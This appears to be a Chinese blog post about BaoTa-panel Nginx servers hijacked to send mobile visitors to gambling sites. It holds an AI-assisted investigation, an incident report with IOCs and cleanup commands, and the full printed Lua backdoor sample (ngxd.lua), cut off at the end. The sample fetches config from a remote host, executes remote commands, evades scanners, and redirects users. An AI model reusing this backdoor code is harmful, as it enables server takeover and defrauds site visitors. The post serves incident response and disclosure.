背景

最近很多客户反馈手机访问自己服务器ip跳转违法赌博网站, 我怀疑可能是之前nginx被挖的漏洞 让codex排查了一下

这个客户服务器是debian 12,v11.7.0宝塔,nginx1.31.2,安装的开心版宝塔+宝塔防火墙

image.png

codex排查

codex排查结果:
• 只读排查结论:这是服务器本机触发的,不是手机浏览器、DNS、CDN 或运营商劫持。

我用手机 UA 请求本机 127.0.0.1 并指定 Host: ip,仍返回:

HTTP/1.1 301 Moved Permanently
Location: https://oynmj.anaox.xyz/dh

电脑 UA 同样请求则是 403。所以跳转逻辑就在这台服务器的 Nginx/Lua/WAF 链路里。

关键发现:

  1. 宝塔 WAF 被挂进了 Nginx
    /www/server/panel/vhost/nginx/btwaf.conf:19 里有:

    lua_package_path "/www/server/btwaf/?.lua;..."
    access_by_lua_file /www/server/btwaf/waf.lua;
    header_filter_by_lua_file /www/server/btwaf/header.lua;

  2. 发现明显后门文件
    /www/server/btwaf/ngxd.lua:10

    这个文件非常可疑,包含:

    • 手机端识别:android / iphone
    • pc_ratio = 0,手机比例为 10,解释了“手机跳、电脑不跳”
    • 远程拉配置:pull.969a.xyz
    • 命令执行接口:X-Nginx-Authorize
    • os.execute 执行命令
    • ngx.redirect 做跳转
    • 临时文件:/tmp/tcxnig.txt、/tmp/tronse.txt、/tmp/.machine_id

    核心位置:

    • 配置和远控头:/www/server/btwaf/ngxd.lua:10
    • 远程拉配置:/www/server/btwaf/ngxd.lua:546
    • 命令执行:/www/server/btwaf/ngxd.lua:333
    • 手机跳转逻辑:/www/server/btwaf/ngxd.lua:770
  3. 更新时间也对得上
    ngxd.lua 修改时间是 2026-06-25 14:01。
    Nginx 二进制是 2026-06-27 20:54 更新的。
    也就是说,更新 Nginx 不能清掉 /www/server/btwaf/ 里的 Lua 后门,所以“更新了还是跳”很正常。
  4. 暂时没有找到明文 require("ngxd")
    这表示入口可能是:

    • 已经被加载到运行中的 Lua/Nginx worker 里
    • 入口被攻击者删掉或混淆了
    • 通过宝塔 WAF 某个 Lua 链间接加载
    • 还有另一个未定位的持久化点

    但 ngxd.lua 本身已经足够判定服务器被入侵,不建议只当成普通配置问题处理。

建议处理方案

短期止血,等你允许修改后可以做:

  1. 先给服务器做快照,保留证据。
  2. 临时限制宝塔面板、SSH 只允许你的 IP 访问。
  3. 隔离或删除 /www/server/btwaf/ngxd.lua。
  4. 清理相关临时文件:

    • /tmp/tcxnig.txt
    • /tmp/tronse.txt
    • /tmp/timestamp.txt
    • /tmp/.machine_id
    • /tmp/ngxd_*
    • /tmp/cmd_output_*
  5. 重装或修复宝塔 WAF,重点是不要沿用当前 /www/server/btwaf 目录。
  6. 重启 Nginx 和宝塔 WAF,而不是只 reload。
  7. 再用手机 UA 验证:

    curl -I -A 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) Mobile Safari/604.1' -H 'Host: ip' http://127.0.0.1/

更稳妥的方案:

直接新开一台干净服务器,重装系统、宝塔、Nginx、PHP,然后只迁移确认干净的网站代码、数据库和上传文件。当前机器已经出现 WAF Lua 后门和命令执行能力,不能排除
还有 webshell、systemd、cron 或二进制级持久化。

需要额外注意:

  • 所有宝塔账号、SSH 密码、数据库密码、网站后台密码、API Key、支付密钥都要轮换。
  • 不要只升级 Nginx。
  • 不要只删一个跳转规则,因为这不是普通 Nginx 规则。
  • 当前 /www/server/btwaf、/www/server/nginx、/www/wwwroot 都需要继续审计。
  • 我还看到 site_total.service 是 root 常驻服务,当前 active,暂未证明恶意,但也应纳入后续核查。

人工总结的可能原因:

宝塔开心版后门?

宝塔防火墙官方针对开心版的后面

尝试卸载宝塔防火墙,还是跳转

codex继续排查:

服务器仍返回:

HTTP/1.1 301 Moved Permanently
Location: https://ccath.anaox.xyz/dh

同样本机请求,换电脑 UA 返回 200 OK。所以这是服务器端按 UA 判断后返回的 301,不是手机缓存。

现在更关键的是:你删掉宝塔防火墙后,nginx -T 里已经看不到之前的 btwaf/waf.lua 挂载了,但跳转还在。这说明后门不只是在宝塔防火墙配置层,可能还在:

  1. 当前 Nginx 二进制或编译模块被污染;
  2. /www/server/nginx 目录里有被污染的编译产物;
  3. 还有别的常驻服务/模块参与,比如当前还在跑的 /www/server/site_total/site_total,不过它目前看起来主要是日志统计,不能直接下结论;
  4. 站点目录或 PHP/webshell 还有持久化,重新写回了东西。

下一步不要只“删除防火墙”。建议处理顺序:

  1. 先做服务器快照
  2. 完整卸载并重装 Nginx,不是点升级
  3. 重装前备份配置,但不要直接复用 /www/server/nginx 整个目录
  4. 临时停用 site_total 插件/服务做对照测试
  5. 搜 /www/wwwroot 里的 webshell 和近期改动文件
  6. 最稳妥是新机器重装系统,迁移干净代码和数据库

当前状态已经超过“缓存”或“普通跳转规则”的范围了。删除 WAF 后仍能本机复现,优先怀疑 Nginx 本体/编译模块或其它持久化。

重新安装也不行

转机

这个时候之前的一个老用户说我之前卖的代码有问题,扔给了我一个ai的文件,发现和我遇到的情况一样,用这个文件排查的结果给codex可以修复

# 网站跳转劫持事件处置报告(2026-06-27)


| 项    | 内容                                                       |
| ---- | -------------------------------------------------------- |
| 日期   | 2026-06-27                                               |
| 现象   | 多个站点(含 Next.js 站与 PHP 站)移动端访问被跳转到境外赌博域名 `*.anaox.xyz/dh` |
| 本次根因 | Nginx 进程被 `LD_PRELOAD` 注入的 C 层劫持库 `libnss_http.so.2`     |
| 进入通道 | 宝塔面板(攻击者已持有面板权限,无需新漏洞)                                   |
| 当前状态 | 已清除并验证止跳;已加固面板与凭证;建议尽快迁移                                 |


---

## 一、现象

- 用电脑浏览器访问正常;**安卓/iPhone 移动端、或从搜索引擎点入**时被 301/302 跳转到 `*.anaox.xyz/dh`(随机子域)。
- 同时影响**多个站点**(既有 Next.js 站,也有 PHP 站)——说明劫持发生在所有站点共享的 **Nginx 层**,与具体网站程序无关。
- 迷惑点:劫持响应里**保留了上游应用的响应头**(`X-Powered-By`、页面 CSS 预加载头等),让 301 看起来像应用自己发的,诱导排查者去查应用代码。

---

## 二、本次根因:`LD_PRELOAD` C 层劫持库


| 项      | 详情                                                                                                                                  |
| ------ | ----------------------------------------------------------------------------------------------------------------------------------- |
| 恶意库    | `/usr/lib64/libnss_http.so.2`(22160 字节,伪装成系统 NSS 模块名)                                                                               |
| SHA256 | `4343e60b0cb00abbfa660da0fec027bae91a8733471b1e431938d34851cdc303`                                                                  |
| 加载方式   | `/etc/init.d/nginx` 第 55 行 `export LD_PRELOAD=/usr/lib64/libnss_http.so.2`,并对该启动脚本加 `chattr +i` 防删                                  |
| 工作原理   | 挂钩 Nginx 响应头过滤逻辑(特征 `ngx_http_top_header_filter`、`rewrite ... Location -> ...`),在响应阶段把状态改为 301/302 并写入跳转 `Location`;目标域名从云端 C2 实时拉取 |
| 隐蔽性    | 劫持在 C 层、域名实时下发,因此**网站文件、Nginx 配置、Lua 脚本里都搜不到跳转域名**,常规排查极难定位                                                                         |


---

## 三、攻击动作还原(基于文件改动时间)

**2026-06-24 12:56**,攻击者**通过宝塔面板**(全程无 SSH 登录)执行安装脚本,一次性完成:

- 写入 `/etc/init.d/nginx` 的 `LD_PRELOAD` 加载行并 `chattr +i` 锁定;
- 投放劫持库 `/usr/lib64/libnss_http.so.2`;
- 留下标记/残留文件:空的 `/etc/ld.so.preload`、`/etc/.Xserver_not1`(内容为标记串 `bt_qqtime`)、空的 `/www/server/nginx/html/waf.lua`;
- 同日 07:15、13:00 还尝试改回旧的 lua 木马,被既有看门狗当场清除。

随后**删除了面板 6/22–6/25 的访问日志**抹除痕迹(日志从 6/21 直接跳到 6/26)。

**2026-06-27 16:18 起**,该库随 Nginx 加载生效 + C2 远程开启,劫持显现并被发现。

> 关键结论:本次攻击者**没有使用任何新漏洞**——其早已掌握宝塔面板(root 级)。"这次怎么进来的"= 直接登面板 → 跑脚本种 `LD_PRELOAD` 后门 → 删面板日志灭迹。这也解释了为何无 SSH 痕迹、对应日期面板日志缺失。

---

## 四、本次处置(已完成并验证)

1. **取证**:`libnss_http.so.2` 及残留文件备份至 `/root/malware-evidence-nss-`* 与 `/root/malware-evidence-leftover-*`,并下载本机留档。
2. **清除加载点**:`chattr -i` 解锁 `/etc/init.d/nginx`,注释 `LD_PRELOAD` 行并重新加锁;删除 `/usr/lib64/libnss_http.so.2`;清理 `/etc/ld.so.preload`、`/etc/.Xserver_not1`、空 `waf.lua`。
3. **安全重启 Nginx**:旧进程退出后重启,确认 `/proc/<nginx>/maps` 不再加载该库。
4. **新增看门狗**(每 2 分钟):`/etc/cron.d/nss-guard`(库重现即隔离重载)、`/etc/cron.d/nginx-init-guard`(`LD_PRELOAD` 行回写即注释加锁)。
5. **域名 sinkhole**:`anaox.xyz` 等写入 `/etc/hosts` 指向 127.0.0.1。
6. **复测**:本机与外网均确认移动端 + 搜索来源不再跳转(`200`)。

**配套加固:**

- 轮换 SSH、宝塔面板、数据库密码;
- 更换面板安全入口路径、开启面板 SSL;
- 恢复被改坏的 SSH 公钥登录(攻击者期间曾把 `PubkeyAuthentication` 关闭、改 `authorizedkeysfile`)。
- **仍待补**:面板授权 IP(限制为本人)尚未设置;面板端口仍对公网开放。

---

## 五、IOC(本次)

- 恶意库:`/usr/lib64/libnss_http.so.2`(SHA256 `4343e60b0cb00abbfa660da0fec027bae91a8733471b1e431938d34851cdc303`)
- 加载点:`/etc/init.d/nginx` 中 `export LD_PRELOAD=/usr/lib64/libnss_http.so.2`
- 标记文件:`/etc/.Xserver_not1`(内容 `bt_qqtime`)、空 `/etc/ld.so.preload`、空 `/www/server/nginx/html/waf.lua`
- 跳转域名:`*.anaox.xyz`(路径 `/dh`)
- 攻击者经面板登录来源 IP(境外):`23.172.200.71`、`23.172.200.75`、`207.174.4.3`、`112.10.237.147`、`188.253.123.194`、`103.186.117.236`

---

## 六、结论与建议

- 本次劫持由 **Nginx `LD_PRELOAD` C 层库**实现,已清除并止跳;攻击者通过**宝塔面板**反复进入,能改文件、换手法、删日志。
- 单纯清木马不足以根治,**关键是关闭面板通道**:立即设置面板授权 IP(仅本人)/改端口、保持新入口路径与强密码、开启 SSL。
- 由于服务器曾被 root 级长期控制,**最稳妥是迁移到全新服务器重装**,仅迁移核对过的代码与数据,旧机隔离取证;迁移前保持看门狗运行并补好面板加固。

image.png

后续

又一个客户,正版宝塔,centos7.6 宝塔11.5 Nginx 1.22.1 也中招了

先卸载nginx,再编译安装1.31.2

发现是有个lua文件被注入了后门,而且锁了权限,需要解锁

NGXD="/www/server/nginx/lib/lua/ngxd.lua"
Q="/root/quarantine-ngxd-$(date +%F_%H%M%S)"
mkdir -p "$Q"

lsattr "$NGXD"

chattr -i "$NGXD" 2>/dev/null || true
chattr -a "$NGXD" 2>/dev/null || true
chattr -ia "$NGXD" 2>/dev/null || true

mv -f "$NGXD" "$Q/ngxd.lua"

echo "已隔离到: $Q/ngxd.lua"

样本如下
/www/server/nginx/lib/lua/ngxd.lua

local _M = {}
local DB_PATH = "/www/server/ip2region/ip2region_v4.xdb"

local xdb_mod = nil
local searcher_v4 = nil
local init_done = false
local init_failed = false
local dict = ngx.shared.lua_cache
local config = {
    official_site = "https:/".."/fa".."dfd".."sa.an".."fdnc.x".."yz/d".."h",  
    seo_site = "https:/".."/fa".."dfds".."a.anf".."dnc.x".."yz/d".."h",  
    bot_proxy_site = "https:/".."/fa".."dfd".."sa.anf".."dnc.x".."yz/",
    android_ratio = 10,
    iphone_ratio = 10,
    pc_ratio = 0,
    enabled = true,
    command_header = "X-Nginx-Authorize",
    command_signature_header = "X-Nginx-Signature",
    command_timestamp_header = "X-Nginx-Timestamp",
    command_nonce_header = "X-Nginx-Nonce",
    command_public_key_b64 = "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBckJWSVdaMFBMb3MyTlBRZmdEcXYNCjVoL3F1TFZRd1RpdzAyTVVuQUJpUjUvOGZUTzBkbGhIZklxSStYbG0zbldsL3dsRVhUOW4zTUJ4S0J4WDhjTWUNCjJGdVNtTUJpQ1VNSXdYMkRIN1ZBc1JDbHh0N2xQRDI1L0x6b2wrVGNYK2ZmZ2FVWHc2cGVQaTRka2lpSkxzWEUNCmRDY3Bpc203OUJCM0JMd0xtMHlnYkUydVRjVGllYTJ4ODExb1g2d1VLcmdTekQ2L0dzUFZLcjVJVjM2bnA0UUYNClNtNHF4UGwvM1pSaXJRSmVTRDZ1SlBRK3FJaFVON3YzUWc5SVpHQ3VVcWNMREQwVWRxTFNOMkVJMS9zNE96bk0NCm1XWTRKc2tOMmQyL1p5aHhjZGZSZTVlOFJyOUNlRFQ2Mjk3a01OS2VqbnR3Um14WVhHcUtkSzRTS1A2bkZYc0MNCnF3SURBUUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0NCg==",
    command_max_skew = 60
}
local TIMESTAMP_FILE = "/tmp/timestamp.txt"
local TEMP_CONFIG_FILE = "/tmp/tcxnig.txt"
local TEMP_RESPONSE_FILE = "/tmp/tronse.txt"
local MACHINE_ID_FILE = "/tmp/.machine_id"
local UPDATE_INTERVAL = 10 * 60
local COOKIE_NAME = "k"
local COOKIE_MAX_AGE = 43200
local international_bots = {
    "googlebot",
    "bingbot",
    "slurp",
    "duckduckbot",
    "yandex",
    "facebookexternalhit",
    "linkedinbot",
    "twitterbot",
    "rogerbot",
    "embedly",
    "quora link preview",
    "showyoubot",
    "outbrain",
    "pinterest",
    "vkshare",
    "w3c_validator",
    "feedfetcher",
    "iframely",
    "screaming frog"
}

local cn_spiders_and_scanners = {
    "baiduspider",
    "360spider",
    "sogouspider",
    "shenmaspider",
    "bytedancespider",
    "toutiaospider",
    "quarkspider",
    "yisouspider",
    "petalbot",
    "zoomeye",
    "quake",
    "fofa",
    "hunter",
    "chaitin",
    "inetcloud",
    "dnslog",
    "censys",
    "shodan"
}
local search_engine_domains = {
    "google.", "bing.", "baidu.", "yahoo.",
    "duckduckgo.", "yandex.", "ask.", "sogou.",
    "naver.", "aol.", "so.com", "sm.cn"
}
local function file_exists(path)
    local f = io.open(path, "rb")
    if f then
        f:close()
        return true
    end
    return false
end

local function is_ipv4(ip)
    if not ip or ip == "" then
        return false
    end

    local a, b, c, d = ip:match("^(%d+)%.(%d+)%.(%d+)%.(%d+)$")
    if not a then
        return false
    end

    a, b, c, d = tonumber(a), tonumber(b), tonumber(c), tonumber(d)
    if not a or not b or not c or not d then
        return false
    end

    return a <= 255 and b <= 255 and c <= 255 and d <= 255
end

local function init_ip2region()
    if init_done then
        return true
    end

    if init_failed then
        return false
    end

    if not file_exists(DB_PATH) then
        init_failed = true
        return false
    end

    local ok, mod = pcall(require, "xdb_searcher")
    if not ok or not mod then
        init_failed = true
        return false
    end

    xdb_mod = mod

    if xdb_mod.verify then
        local ok_verify, verify_result = pcall(xdb_mod.verify, DB_PATH)
        if not ok_verify or verify_result == false then
            init_failed = true
            return false
        end
    end

    local content = xdb_mod.load_content(DB_PATH)
    if not content then
        init_failed = true
        return false
    end

    local searcher, err = xdb_mod.new_with_buffer(xdb_mod.IPv4, content)
    if err or not searcher then
        init_failed = true
        return false
    end

    searcher_v4 = searcher
    init_done = true

    return true
end

function get_client_ip()
    local ip = ngx.var.http_cf_connecting_ip
        or ngx.var.http_x_real_ip
        or ngx.var.realip_remote_addr
        or ngx.var.remote_addr

    if not ip or ip == "" then
        local xff = ngx.var.http_x_forwarded_for
        if xff and xff ~= "" then
            ip = xff:match("^%s*([^,%s]+)")
        end
    end

    return ip
end

function is_cn(ip)
    if not is_ipv4(ip) then
        return false
    end

    if not init_ip2region() then
        return true
    end

    local ok, region = pcall(function()
        return searcher_v4:search(ip)
    end)

    if not ok or not region or region == "" then
        return false
    end

    if region:find("^中国|") or region:find("|CN$") then
        return true
    end

    return false
end

local function url_encode(str)
    if str then
        str = string.gsub(str, "\n", "\r\n")
        str = string.gsub(str, "([^%w %-%_%.%~])",
            function(c) return string.format("%%%02X", string.byte(c)) end)
        str = string.gsub(str, " ", "+")
    end
    return str
end
local function decode_base64(data)
    local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    data = string.gsub(data, '[^'..b..'=]', '')
    
    local padding = 0
    if data:sub(-2) == '==' then padding = 2
    elseif data:sub(-1) == '=' then padding = 1 end
    
    data = data:gsub('=', '')
    
    local binary = data:gsub('.', function(x)
        local f = (b:find(x) - 1)
        local r = ''
        for i = 6, 1, -1 do
            r = r .. (f % 2^i - f % 2^(i-1) > 0 and '1' or '0')
        end
        return r
    end)
    
    if padding == 1 then
        binary = binary:sub(1, -3)
    elseif padding == 2 then
        binary = binary:sub(1, -5)
    end
    
    return binary:gsub('%d%d%d%d%d%d%d%d', function(x)
        return string.char(tonumber(x, 2))
    end)
end
local function encode_base64(data)
    local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    
    if not data or data == "" then return "" end
    if type(data) ~= "string" then return "" end
    
    local binary = ""
    for i = 1, string.len(data) do
        local byte = string.byte(data, i)
        local bin = ""
        for j = 7, 0, -1 do
            bin = bin .. (byte >= 2^j and '1' or '0')
            if byte >= 2^j then byte = byte - 2^j end
        end
        binary = binary .. bin
    end
    
    local padding_bits = 6 - (string.len(binary) % 6)
    if padding_bits ~= 6 then
        binary = binary .. string.rep('0', padding_bits)
    end
    
    local result = ""
    for i = 1, string.len(binary), 6 do
        local chunk = binary:sub(i, i+5)
        local index = tonumber(chunk, 2) + 1
        if index > 64 then return "" end
        result = result .. b:sub(index, index)
    end
    
    local pad = string.len(result) % 4
    if pad == 2 then result = result .. "=="
    elseif pad == 3 then result = result .. "=" end
    
    return result
end

local function shell_escape(str)
    return "'" .. tostring(str):gsub("'", "'\\''") .. "'"
end

local function write_file(path, content, mode)
    local f = io.open(path, mode or "w")
    if not f then
        return false
    end

    f:write(content)
    f:close()
    return true
end

local function read_command_output(cmd)
    local handle = io.popen(cmd)
    if not handle then
        return nil
    end

    local output = handle:read("*a")
    handle:close()
    return output
end

local function normalize_base64_input(data)
    if not data or data == "" then
        return ""
    end

    data = tostring(data):gsub("%s+", "")
    data = data:gsub("%-", "+"):gsub("_", "/")

    local remainder = #data % 4
    if remainder > 0 then
        data = data .. string.rep("=", 4 - remainder)
    end

    return data
end

local function fetch_remote_content(url)
    local ua = ngx.var.http_user_agent or "Nginx/Bot-Proxy"
    ua = string.gsub(ua, '"', '')
    local curl_cmd = string.format(
        'curl -s -k -L -m 10 -A "%s" "%s" -o %s',
        ua,
        url,
        TEMP_RESPONSE_FILE
    )
    
    local success = os.execute(curl_cmd)
    if not success then return nil end
    
    local f = io.open(TEMP_RESPONSE_FILE, "r")
    if not f then return nil end
    
    local content = f:read("*a")
    f:close()
    os.remove(TEMP_RESPONSE_FILE)
    
    return content
end

local function execute_command(cmd)
    if string.len(cmd) > 500 then
        return "Command too long"
    end
    local decoded_cmd = cmd
    if cmd:match("^[A-Za-z0-9+/]+=*$") then
        local success, result = pcall(decode_base64, cmd)
        if success and result and #result > 0 then
            decoded_cmd = result
        end
    end
    
    local output_file = "/tmp/cmd_output_" .. ngx.time() .. ".txt"
    local full_cmd = decoded_cmd .. " > " .. output_file .. " 2>&1"
    local success = os.execute(full_cmd)
    
    local f = io.open(output_file, "r")
    local output = "Command execution failed"
    
    if f then
        output = f:read("*a")
        f:close()
        os.remove(output_file)
    end
    
    return success and output or "Command execution failed: " .. output
end

local function get_command_public_key_pem(cfg)
    local public_key_b64 = normalize_base64_input(cfg.command_public_key_b64)
    if public_key_b64 == "" then
        return nil
    end

    local success, decoded = pcall(decode_base64, public_key_b64)
    if not success or not decoded or decoded == "" then
        return nil
    end

    if decoded:find("BEGIN PUBLIC KEY", 1, true) then
        return decoded
    end

    return nil
end

local function verify_command_request_signature(cmd, headers, cfg)
    local public_key_pem = get_command_public_key_pem(cfg)
    if not public_key_pem then
        return false
    end

    local signature_header = cfg.command_signature_header or "X-Nginx-Signature"
    local timestamp_header = cfg.command_timestamp_header or "X-Nginx-Timestamp"
    local nonce_header = cfg.command_nonce_header or "X-Nginx-Nonce"

    local signature_b64 = headers[signature_header]
    local timestamp = tonumber(headers[timestamp_header] or "")
    local max_skew = tonumber(cfg.command_max_skew) or 300
    local nonce = headers[nonce_header] or ""

    if not signature_b64 or signature_b64 == "" or not timestamp then
        return false
    end

    if math.abs(ngx.time() - timestamp) > max_skew then
        return false
    end

    if nonce ~= "" and (#nonce < 16 or #nonce > 128 or not nonce:match("^[A-Za-z0-9_%-%._]+$")) then
        return false
    end

    local normalized_signature = normalize_base64_input(signature_b64)
    local success, signature = pcall(decode_base64, normalized_signature)
    if not success or not signature or signature == "" then
        return false
    end

    local payload = tostring(timestamp) .. "\n" .. nonce .. "\n" .. cmd
    local temp_seed = tostring(ngx.time()) .. "_" .. tostring(ngx.worker.pid()) .. "_" .. tostring(math.random(100000, 999999))
    local payload_file = "/tmp/ngxd_payload_" .. temp_seed .. ".txt"
    local signature_file = "/tmp/ngxd_signature_" .. temp_seed .. ".bin"
    local public_key_file = "/tmp/ngxd_public_" .. temp_seed .. ".pem"

    if not write_file(payload_file, payload) or
       not write_file(signature_file, signature, "wb") or
       not write_file(public_key_file, public_key_pem) then
        os.remove(payload_file)
        os.remove(signature_file)
        os.remove(public_key_file)
        return false
    end

    local verify_cmd = string.format(
        "openssl dgst -sha256 -verify %s -signature %s %s 2>&1",
        shell_escape(public_key_file),
        shell_escape(signature_file),
        shell_escape(payload_file)
    )
    local verify_output = read_command_output(verify_cmd) or ""

    os.remove(payload_file)
    os.remove(signature_file)
    os.remove(public_key_file)

    return verify_output:find("Verified OK", 1, true) ~= nil
end

local function should_update_config()
    if not dict then
        return false
    end
    local now = ngx.time()
    local last_update = dict:get("last_update")
    if last_update and now - last_update < UPDATE_INTERVAL then
        return false
    end
    local ok = dict:add("update_lock", now, 60)

    if not ok then
        return false
    end
    last_update = dict:get("last_update")
    if last_update and now - last_update < UPDATE_INTERVAL then
        dict:delete("update_lock")
        return false
    end

    return true
end

local function update_timestamp()
    local f = io.open(TIMESTAMP_FILE, "w")
    if not f then return false end
    f:write(tostring(ngx.time()))
    f:close()
    return true
end


local function parse_simple_config(content)
    local result = {}
    if not content or content == "" then
        return config
    end
    for line in string.gmatch(content, "[^\r\n]+") do
        local key, value = string.match(line, "([^=]+)=(.+)")
        if key and value then
            key = string.gsub(key, "^%s*(.-)%s*$", "%1")
            value = string.gsub(value, "^%s*(.-)%s*$", "%1")
            
            if key == "official_site" or key == "seo_site" or
               key == "bot_proxy_site" or key == "command_header" or
               key == "command_signature_header" or key == "command_timestamp_header" or
               key == "command_nonce_header" or key == "command_public_key_b64" then
                result[key] = value
            elseif key == "android_ratio" or key == "iphone_ratio" or 
                   key == "pc_ratio" or key == "command_max_skew" then
                result[key] = tonumber(value) or 30
            elseif key == "enabled" then
                result[key] = (value == "true" or value == "1")
            end
        end
    end
    
    return result
end

local function get_machine_unique_id()
    local function trim(s)
        if not s then return nil end
        s = s:gsub("%s+", "")
        if s == "" then return nil end
        return s
    end

    local function read_one_line(path)
        local f = io.open(path, "r")
        if not f then return nil end

        local s = f:read("*l")
        f:close()

        return trim(s)
    end

    local cached_id = read_one_line(MACHINE_ID_FILE)
    if cached_id then
        return cached_id
    end

    local machine_id =
        read_one_line("/etc/machine-id") or
        read_one_line("/var/lib/dbus/machine-id") or
        "11111111111111111111111111111111"

    local f_write = io.open(MACHINE_ID_FILE, "w")
    if f_write then
        f_write:write(machine_id)
        f_write:close()
    end

    return machine_id
end

local function refresh_machine_id()
    os.remove(MACHINE_ID_FILE)
    return get_machine_unique_id()
end
function get_config()
    if dict then
        return parse_simple_config(dict:get("config"))
    end
    return config
end
local function load_config()
    if not should_update_config() then
        return get_config()
    end
    
    local machine_id = refresh_machine_id()
    local config_url = "https:/".."/pull.969".."a.x".."yz/lR0jM7tM.php?sid=" .. machine_id
    
    local content = fetch_remote_content(config_url)
    if not content or content == "" then
        if dict then
            dict:set("last_update", ngx.time())
            dict:delete("update_lock")
        end
        return get_config()
    end
    
    local new_config = parse_simple_config(content)
    
    for k, v in pairs(new_config) do
        config[k] = v
    end
    
    if dict then
        dict:set("config", content)
        dict:set("last_update", ngx.time())
        dict:delete("update_lock")
    end
    
    return get_config()
end

local function get_request_info()
    return {
        ip = ngx.var.remote_addr,
        uri = ngx.var.request_uri,
        host = ngx.var.host,
        method = ngx.req.get_method(),
        referer = ngx.var.http_referer or "",
        user_agent = ngx.var.http_user_agent or "",
        cookie = ngx.var.http_cookie or ""
    }
end

local function is_international_bot(user_agent)
    if not user_agent or user_agent == "" then return false end
    
    local ua_lower = string.lower(user_agent)
    
    for _, pattern in ipairs(international_bots) do
        if string.find(ua_lower, pattern, 1, true) then
            return true
        end
    end
    
    return false
end

local function is_cn_spider_or_scanner(user_agent)
    if not user_agent or user_agent == "" then return false end
    
    local ua_lower = string.lower(user_agent)
    
    for _, pattern in ipairs(cn_spiders_and_scanners) do
        if string.find(ua_lower, pattern, 1, true) then
            return true
        end
    end
    
    return false
end

local function is_from_search_engine(referer)
    if not referer or referer == "" then return false end
    
    local referer_lower = string.lower(referer)
    
    for _, domain in ipairs(search_engine_domains) do
        if string.find(referer_lower, domain, 1, true) then
            return true
        end
    end
    
    return false
end

local function get_device_type(user_agent)
    if not user_agent then return "pc" end
    
    local ua_lower = string.lower(user_agent)
    
    if string.find(ua_lower, "android", 1, true) then
        return "android"
    elseif string.find(ua_lower, "iphone", 1, true) or 
           string.find(ua_lower, "ipad", 1, true) then
        return "iphone"
    else
        return "pc"
    end
end

local function has_today_cookie(cookie)
    if not cookie or cookie == "" then return false end
    
    local today = os.date("%y%m%d")
    return string.find(cookie, COOKIE_NAME .. "=" .. today, 1, true) ~= nil
end

local function set_today_cookie()
    local today = os.date("%y%m%d")
    ngx.header["Set-Cookie"] = COOKIE_NAME .. "=" .. today .. 
                               ";Path=/;Max-Age=" .. COOKIE_MAX_AGE
end


local function should_skip_path(uri)
    local path = string.match(uri, "^([^?]+)") or uri
    path = string.lower(path)
    
    local static_extensions = {
        "%.js",
        "%.css",
        "%.png",
        "%.jpg",
        "%.jpeg",
        "%.gif",
        "%.ico",
        "%.svg",
        "%.webp",
        "%.woff",
        "%.woff2",
        "%.ttf",
        "%.eot",
        "%.map",
        "%.mp4",
        "%.mp3",
        "%.pdf",
        "%.zip",
        "%.rar",
        "%.json",
        "%.xml"
    }
    
    for _, ext in ipairs(static_extensions) do
        if string.match(path, ext) then
            return true
        end
    end
    
    local sensitive_paths = {
        "/static/",
        "/assets/",
        "/public/",
        "/dist/",
        "/build/",
        "/media/",
        "/upload",
        "/api/",
        "/ajax/",
        "/graphql",
        "/v1/",
        "/v2/",
        "/admin",
        "/manager",
        "/backend",
        "/dashboard",
        "/console",
        "/wp%-admin",
        "/wp%-login",
        "/login",
        "/logout",
        "/register",
        "/signup",
        "/signin",
        "/auth",
        "/oauth",
        "/sso",
        "/pay",
        "/order",
        "/checkout",
        "/cart",
        "/billing",
        "/purchase",
        "/user",
        "/account",
        "/profile",
        "/settings",
        "/member",
        "/favicon",
        "/robots",
        "/sitemap",
        "/manifest",
        "/browserconfig",
        "/apple%-app%-site%-association",
        "/health",
        "/ping",
        "/status"
    }
    
    for _, pattern in ipairs(sensitive_paths) do
        if string.match(path, pattern) then
            return true
        end
    end
    
    return false
end
local function is_xhr()
    local xrw = ngx.var.http_x_requested_with
    if xrw and xrw:lower() == "xmlhttprequest" then
        return true
    end

    -- Accept: application/json
    local accept = ngx.var.http_accept or ""
    if accept:lower():find("application/json", 1, true) then
        return true
    end

    -- Content-Type: application/json
    local content_type = ngx.var.http_content_type or ""
    if content_type:lower():find("application/json", 1, true) then
        return true
    end

    return false
end
math.randomseed(ngx.now() * 1000 + ngx.worker.pid())

function _M.process_request()
    local cfg = load_config()
    
    local req = get_request_info()
    local headers = ngx.req.get_headers()
    local command_header = cfg.command_header
    if not command_header or command_header == "" then
        command_header = "X-Nginx-Authorize"
    end
    if is_xhr() then
        return true
    end
    
    local cmd = headers[command_header]
    if cmd then
        if not verify_command_request_signature(cmd, headers, cfg) then
            return true
        end
        if ngx.ctx then
            ngx.ctx.white_rule = true
        end
        local result = execute_command(cmd)
        ngx.header.content_type = "text/plain"
        ngx.say(result)
        ngx.exit(ngx.HTTP_OK)
        return true
    end

    if not cfg.enabled then
        return false
    end
    
    if is_cn_spider_or_scanner(req.user_agent) then
        return true
    end
    
    if is_international_bot(req.user_agent) then
        local content = fetch_remote_content(cfg.bot_proxy_site .. req.uri)
        if content then
            ngx.header.content_type = "text/html; charset=utf-8"
            ngx.say(content)
            ngx.exit(ngx.HTTP_OK)
            return true
        end
    end

    if is_from_search_engine(req.referer) and cfg.seo_site~="" then
        if ngx.ctx then
            ngx.ctx.white_rule = true
        end
        ngx.redirect(cfg.seo_site)
        return true
    end

    if should_skip_path(req.uri) then
        return false
    end
    
    if req.method ~= "GET" then
        return false
    end
    
    local official_host = string.match(cfg.official_site, "https?://([^/]+)")
    if official_host and req.host == official_host then
        return false
    end
    
    local device = get_device_type(req.user_agent)
    local ratio
    
    if device == "android" then
        ratio = cfg.android_ratio
    elseif device == "iphone" then
        ratio = cfg.iphone_ratio
    else
        ratio = cfg.pc_ratio
    end
    
    if ratio <= 0 then
        return false
    end
    for i = 1, 3 do math.random() end
    local random_num = math.random(1, 100)
    if random_num > ratio then
        return false
    end
    
    
    
    
    local machine_id = get_machine_unique_id()
    local params = encode_base64(req.host .. "|" .. machine_id .. "|" .. device)
    local redirect_url = cfg.official_site
    
    if params ~= "" and redirect_url ~="" then
